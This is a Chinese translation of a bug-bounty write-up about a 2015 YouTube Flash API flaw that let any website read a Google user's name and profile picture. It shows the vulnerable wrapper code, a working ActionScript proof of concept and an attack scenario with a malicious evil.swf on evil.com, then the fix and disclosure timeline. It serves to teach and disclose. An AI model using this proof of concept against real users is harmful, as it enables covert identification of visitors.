YouTube里面的高级flash漏洞

为什么Flash还荼毒人间?

Flash依然是一个威胁。在2017年,我报导了Facebook,Youtube,WordPress,Yahoo,Paypal和Stripe上的Flash漏洞,在过去的三年里,我有报告了超过50个赏金程序bug的flash漏洞,赚了80K+的奖金。而且还有更多的我没有报告,或者我报了也没有修复。

YouTube里面的高级flash漏洞_第1张图片

另外,Flash已经被新的javascript/html5特性所取代。这些特性增加了复杂度和新的类型的漏洞,比如不好的CROS实现,由postMessage或者XHR

Request,引起的DOM Xsses。了解Flash的失误可以帮助设计实施更加安全的javascript程序。这个新的Youtube

html5的Api很可能是从Youtube的Flash

Api移植到lavascript上的,使得它学起来更有趣。实际上,我通过所掌握的Flash

Api的知识就能找到Youtube的html5的xsses。

我会解释我在Youtube的Flash Api中发现的一些高级的Flash漏洞,并且在这个过程中和Html/javascript做一个对比。这个太专业了,所以有槽尽管吐。如果有人不太明白或者想增长新知识。你可以看一下这里的Flash安全模型。

逆向工程Youtube的Flash Api

Youtube Flash Api允许开发者在外部网站嵌入youtube的视频。

这是APi流程图:

YouTube里面的高级flash漏洞_第2张图片

这个入口函数,Youtube是一个位于youtube.com/v/[Video_ID]的一个Flash文件,这只是HTML页面和主App的一层包装。主App是一个大约100k的一个大Flash文件,被放置在域名为s.ytimg.com的沙盒内。

这些模块处理类似于副标题或者广告之类的可选函数。他们不能是单独的Flash文件,必须得被主App加载才行。

另外,还有一个Flash到JavaScript的Api,允许html页面给youtube api发送诸如play(),pause()之类的命令。Flash文件也会执行ajax风格的跨域请求,加载配置文件和视频内容。

用户信息泄露

从一个简单的漏洞开始讲起吧,这有一个在Flash ActionScript3中的简化版的Youtube封装器代码。

public class YoutubeWrapper extends Sprite{

    private var user_name = "The Victim";

    private var user_picture = "https://googleusercontent.com/.../victim_photo.jpg";

    private var appLoader = new Loader();

    public function YoutubeWrapper(){

        // allow external javascript/Flash files to access its public properties

        Security.allowDomain("*");

        // load the Main App

        this.appLoader .load(new URLRequest("https://s.ytimg.com/.../watch_as3.swf");

        // add as child of display container

        this.addChild(this.appLoader );

        // loaderInfo.sharedEvents Api

        this.loader.contentLoaderInfo.sharedEvents

        .addEventListener("REQUEST_USERINFO", this.onRequestUserinfo);

    }

    private function onRequestUserinfo(event:Event){

        // write the user info into the event.data property

        // which is accessible to the sharedEvents caller

        event.data.user_name = this.user_name;

        event.data.user_image = this.user_image;

    }

}

youtube封装器立即生成,它的属性“User_name”包含了google用户的名字(如果他是连接到google的)这个属性"user_picture"包含了用户轮廓图的链接。在这个bug中,攻击者会窃取这些数值。

youtube封装器能从开发者自己的Flash文件中加载(还是叫它恶意封装器)这种情况下,它们都能在一个不同的Flash保密的沙盒中执行。

加载一个外部的flash文件跟Html中加载\很相似。如果这个iframe来自于一个跟它的父类不同的源,他们因为Same-Origin Policy (SOP)原则就不能访问到彼此的属性。Youtube封装器包含了这段代码Security.allowDomain(“*”)来允许JavaScript给Flashapp发送play(),Pause()等命令。这还意味着恶意封装器可以获取到任何公开的属性,就好像它也在同一个沙盒里一样。然而,它是访问不到私有属性的。

user_name这个属性提供了loaderInfo.sharedEvents用于加载器和一个已加载文件之间通信。当这个主app分发一个时间给这个sharedEvents接口。这个youtube封装器接收这个事件并使用event.data属性把用户信息发送回去。

这跟javascript的postMessageapi允许跨域ifames通讯一样的道理。postMessage的api不仅可以被iframes和他的父类使用,还可以给其他链接到iframe和父类的window使用。任何任意域都可以通过window.open和window.frames获取这些链接,也不受被SOP限制。

如果恶意加载器能获取到这个特别的loaderInfo对象,就能给YouTube封装器发送一个事件并窃取用户信息。

loaderInfo是一个appLoader的属性,它是youtube封装器的一个私有属性,所以恶意封装器不能获取到。

然而,使用加载器时,如果你想显示这个加载的文件,你得把它当做显示容器的一个子对象。通常可以通过this.addChild(this.loader)方法来加入;实际上youtube就是这么做的。

问题在于,youtube封装器还有一个内建的公有方法getChildAt(),返回这个youtube封装器的孩子对象,这意味着,恶意封装器可以调用

把一个属性设置成“私有”被称为封装,然而,只有这个引用是私有的,而不是这个引用指向的对象。从这儿,恶意封装器可以获取到YoutubeWrapper.getChildAt(0).loaderInfo.sharedEvents,它是youtube封装器和主app之间的接口。恶意程序可以发送事件给youtube封装器,这个youtube封装器会在event.data里提供用户的信息,恶意的封装器也能读到这个event.data的值。

概念验证

POC工作流:

var loader = new Loader();

// Load the Youtube Wrapper

loader.load(new URLRequest("https://www.youtube.com/v/[VIDEO_ID]"));

var youtubeWrapper = loader.content;

// Access the Youtube Wrapper appLoader object

var appLoader = youtubeWrapper.getChildAt(0);

// Access the loaderInfo.sharedEvents of appLoader

var LeakingSharedEvents = appLoader.contentLoaderInfo.sharedEvents;

// Prepare the event to send to Youtube Wrapper

var leakEvent = new Event("Request_username");

leakEvent.data = new Object();

// Send the leakEvent to the LeakingSharedEvents

LeakingSharedEvents.dispatchEvent(leakEvent);

// The username is now accessible in the event.data property

trace(leakEvent.data.user_name);

trace(leakEvent.data.user_picture);

攻击方案:

前提:受害人记录在Google上,并且有flase player播放器

(1)受害者访问这个攻击者的网站http://evil.com/evil.html,网站包含了一个flash对象http://evil.com/evil.swf

(2)evil.swf加载Youtube封装器并检索用户的Google账号。

影响:

任何网站都能用这个知道用户的身份,如果他们是使用Google来连接的话。想象一下,你随便访问一个网站都会显示你的名字和你的照片是什么感觉。

减灾:

为了解决这个问题,YouTube封装器停止往event.data属性里面写用户信息,取而代之的,把他直接发给了主APP。这样的话,即使是恶意的封装器给YouTube封装器发送事件,它也不会收到这个用户信息,因为信息都发给主APP了。

时间线:

08/27/2015 – 报告给Google VRP

09/09/2015 – 问题修复,获得奖励

这是一个简单的bug,我希望能给你启发,理解这儿的这些基本的挑战。你可以看一下另一个bug,在part 2部分,我们在youtube里面可以执行任意的Flash代码。

本文由看雪论坛 daemond 编译,来源opensec@Enguerran Gillier 转载请注明来自看雪社区

你可能感兴趣的:(YouTube里面的高级flash漏洞)